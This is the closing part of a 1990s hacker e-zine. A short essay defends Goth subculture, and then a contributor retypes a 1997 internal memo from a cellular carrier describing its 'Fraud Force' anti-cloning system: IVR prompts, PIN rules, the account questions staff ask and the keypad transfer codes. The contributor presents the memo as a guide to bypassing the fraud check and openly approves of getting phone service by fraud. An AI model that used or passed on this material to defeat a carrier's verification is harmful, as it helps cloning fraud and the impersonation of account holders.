across the dance floor to a rythem only we can hear in the music. You whisper
to your friends about us. It happens all the time. You call us names: faggots,
freaks, vampires. But, most of the time, there is one name we are not called.
And that is Goths.

Having considered myself a Goth for the past few years, I've ran into all
these experiances on more that one occasion. Fortunately, nothing has come of
it; people yelling at me as I walk down the street, whispers as I walk down
the halls in school, stares as I'm sitting in a McDonalds, but nothing else.
But that's not always the case. I've seen and heard stories of people being
physically abused, humiliated, and outcast solely based on their appearance,
one that does not fit into the realm of the norm. Without a shadow of a doubt,
this is not a good thing.

If you don't know what a Goth is, let me give you my idea: we are a (for the
most part) non-political agenda, musically based subculture. We like to dress
in black, have an interest in the darker, more mysterious things in life, and
listen to music like Sisters of Mercy, Bauhaus, Siouxsie and the Banshees, and
others. We are not vampires, although some of us claim to be, but usually they
are not considered Goth. Some of us take a liking to Victorian age dress, dark
peotry, and classic horror writers like Edgar Allen Poe, Bram Stoker, and the
like. We don't think we're the Crow, although some do. Again, usually they are
not considered Goth. Now, this does not mean all Goths subscribe to these
generalizations; I, myself, do not subuscribe to them all. But, most people
that consider themselves Goth have an interest in at least one of the
aformentioned.

If you want a full history of Goth, go somewhere else. That's not what this is
about. All this is about is enlightenment. Trying to get people that would
normally scoff at us to accept us. Easily, we are one of the most _feared_
subcultures. Not feared like one would fear being attacked by a rabid dog, but
feared because we are different. It shouldn't be any surprise, though, because
people fear the strange and unusual. Goths are strange and unusual, compared
to the "normal" person. What "normal" person would idolize a characted named
Death? What "normal" person would wear all black when _not_ attending a
funeral? Not many. And this is why we are feared. Simply because we are
different.

This is where we need your help. If you see on of us walking down the street,
and you like our make-up, compliment us. If your kid is staring at us, don't
pull him away. If you are ever staring at a flowing black skirt in a mall
while your wife is bying some clothes, try it on. Don't fear us. Live with us.
We may be different, but respect that. There are very few different people in
this world, and most Goths savor the fact that they are among them.
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
                Fraud Force System Technical Interoffice Data
                        by DDay (hempfarm@stomped.com)
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
People in the Baton Rouge, New Orleans Louisiana and surrounding towns may
find some use in the following file. It documents the structure of the "Fraud
Force" system being implemented into these locations' cell sites and switches.
It is unknown if it will affect landline systems, but from the way it works,
it is doubtful.

EOC---------------------------------------------------------------------EOC
Interoffice Memorandum
Date: Febuary 18,1997                    File: FRAUDFOR
To: Div/Dist Managers                    
    Office Managers                      
    Chris Nolen
    Barry Gugliuzza                      

FROM: Phyllis May
SUBJECT: Fraud Force Use In Fraud Markets

Laura Graham developed the following procedure for the Customer Service Center
to be used when customers are using the phones in high fraud markets where
Fraud Force has been implemented.

The following details are unique to Region 1 and the Force implementation.

   Fraud Force will start with the Baton Rouge system the week ending
   Feb 28. Other markets will be added as needed.

   All Louisiana, Arkansas, and Texarkana cellulars in this system will be
   routed through Fraud Force.

   Calls will be routed to Customer Service.

Please direct any questions to Jim Burnham at 318/683-3429 or Rhonda Woodard
at 318/683-3427.

(page 2)
Overview:

Purpose: FraudForce is a system implemented by Century, to help combat cloning
fraud for our customers roaming in high fraud areas. Affected markets will be
included as needed, those which are found to have high fraud rates.

(page 3)
Following is an overview of the verification process for Century customers
using cell service for the first time in a FF market. For detailed
instructions, see "Verification Process."

1. Customer places first call to any number.

2. Call is routed (hotlined) to FraudForce, where an Interactive Voice
   Response (IVR) prompts the user to enter their 10-digit cell number, which
   is verified ending with the pound key. The customer has three (3) tries to
   enter their number correctly.

3. Call is transferred to Century Cellunet's customer service center.
      - Valid customers will continue to step 4
      - Invalid customers are instructed to make another call and
        re-enter the correct cell number.

4. The customer information is verified to confirm the cell user is valid.
-----------------------------------------------------------------------
|If Information Is         |     The CSR                              |
-----------------------------------------------------------------------
|  verified,               | explains the call credit and             |
|                          | procedure to establish PIN. Go to step 5 |
|-------------------------- -------------------------------------------
|  not verified,           | presses 0 on their keypad to transfer to |
|                          | a recording explaining the caller is     |
|                          | denied.                                  |
|__________________________|__________________________________________|

5. The CSR presses 1 to transfer the call to the FraudForce IVR,and the
   customer interactively uses their phone keypad to establish a 4 digit PIN.

6. If a billed call, the CSR notes the length of the call and credits the
   customer's account (length of call X roaming airtime rate) to AFDFC. This
   is because the customer incurred airtime charges during verification and
   PIN selection.


ESTABLISHING AND USING A PIN

Hours accessible: Any normal working hours. Customers after hours will be
                  directed to call during normal hours.
Call types:       There are two types of FraudForce calls.

Fraud Force 1     These are calls where the customer entered a valid 10
-------------     digit cell number when prompted after the initial hotline.
                  There are customers who had previously established a PIN,
                  however entered it incorrectly and must repeat the
                  verification process, or are making their first call in the
                  FraudForce market verifying for the first time.

Fraud Force 3     These are calls where the customer entered an invalid 10
-------------     digit cell number or pressed zero (0) for assistance (the
                  customer has three tries to enter their cell # correctly).

                  The customer can not be verified without entering a valid
                  10 digit number. They are instructed to attempt the call
                  again,so they receive the IVR prompts to enter the 10
                  digit number correctly.

PIN DETAILS:      The PIN is four digits and should not start with zero.
                
                  The PIN is not accesible to Century. The customer must
                  remember their PIN.

                  Once established, the PIN is valid in that market until
                  Century removes it and the customer calls the IVR to
                  establish a new one. This can be done if the user forgets
                  their PIN or if the usage/user appears to be fraudulent and
                  Century needs to block service.

                  A PIN must be established in each FraudForce market. The
                  same PIN may be used in every FraudForce market, or
                  different PINs may be used.

                  Different customers MAY have the same PIN.

                  The customer will periodically be asked to enter the PIN
                  before making a call.

                  A user has 3 tries to enter the PIN correctly. On the 4th
                  try,the call will be directed to Fraud Force 1.

(page 4)
VERIFICATION PROCEDURES
The following are the procedures for a FraudForce 1 call.

1. Customer first places call to any number.

2. Caller is hotlined to FraudForce,where an IVR prompts the user to enter
   their 10 digit cell phone number and the pound key.

3. When entered correctly, the call is transferred to Century's customer
   service center, with the following introduction: "Please verify your 10
   digit cellular number. Press any key to accept this call."

4. The CSR presses any key on their phone to accept the call and says to the
   caller "Century Cellunet, this is (name). You are currently roaming in a
   high cellular fraud area. For your protection and ours,will you verify some
   account information to enable you to establish a Personal Identification
   Number,or PIN."

5. Important: customer information must be verified to confirm that the
   account holder, secondary authorization holders, or business account
   cellular users are valid before given access to establishing a PIN.

  Individal Accounts:
  What city are you currently in?
  What is your mobile number?
  What is your name?
  If user differs from account name, what is the name on the account?
  What is your Social Security Number?

  If the Social Security number is not verified, verify one of the following:
  What is the account's billing address?
  What is your home phone number?
  What is your work number?

  Business Accounts:
  What city are you currently in?
  What is your mobile number?
  What is your name?
  What is the account name?
  What is the account's billing address?

The general billing address is okay, if not verified at all (customer does not
know), verify the following:
  What is your work phone number?

(page 5)
If information is verified:
  Thank you for your cooperation.
  If a billed call: You will receive credit for this call.
  If a free call: This is a free call.
  I am now returning you to the system so you can set up your PIN.

The CSR presses 1 on their keypad to transfer to the FraudForce IVR to
establish their PIN.

If Information is NOT verified:
  "I am unable to authorize the information you have given," and presses 0
  on their keypad to transfer the call to a recording explaining the call
  is denied (no don't give out account information).

7. The CSR tickles the customer's account using an action code of PENDF.
   Include the 1- digit cellular number, FF, whether or not the customer
   was verified.

(page 6)(End of Memo)

I would have typed the rest of this file, but it's basically just a list of
customers' questions and alternate places for the caller to be transferred.
Nothing you pretty much need to know about the system, but if you keep a copy
of this on hand, you may be able to bypass. You have what the operator is
looking at, you know what she's going to do. Use this information, don't
flaunt it. Century is a good corporation, but sometimes you need a cell! If
updates to this file are made, I will be sure to send them out to the public.


UPDATE: I have just discovered that FraudForce is now being implemented in
almost all cities around the country that use Century. Now this is a serious
problem.
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Well, that's the end of issue 8. I hope you all like the site redesign, and
I'll be back in a month or so with System Failure #9. E-mail us your comments
and submissions at sysfail@linux.slackware.org. Werd out!@
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-E-O-F-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-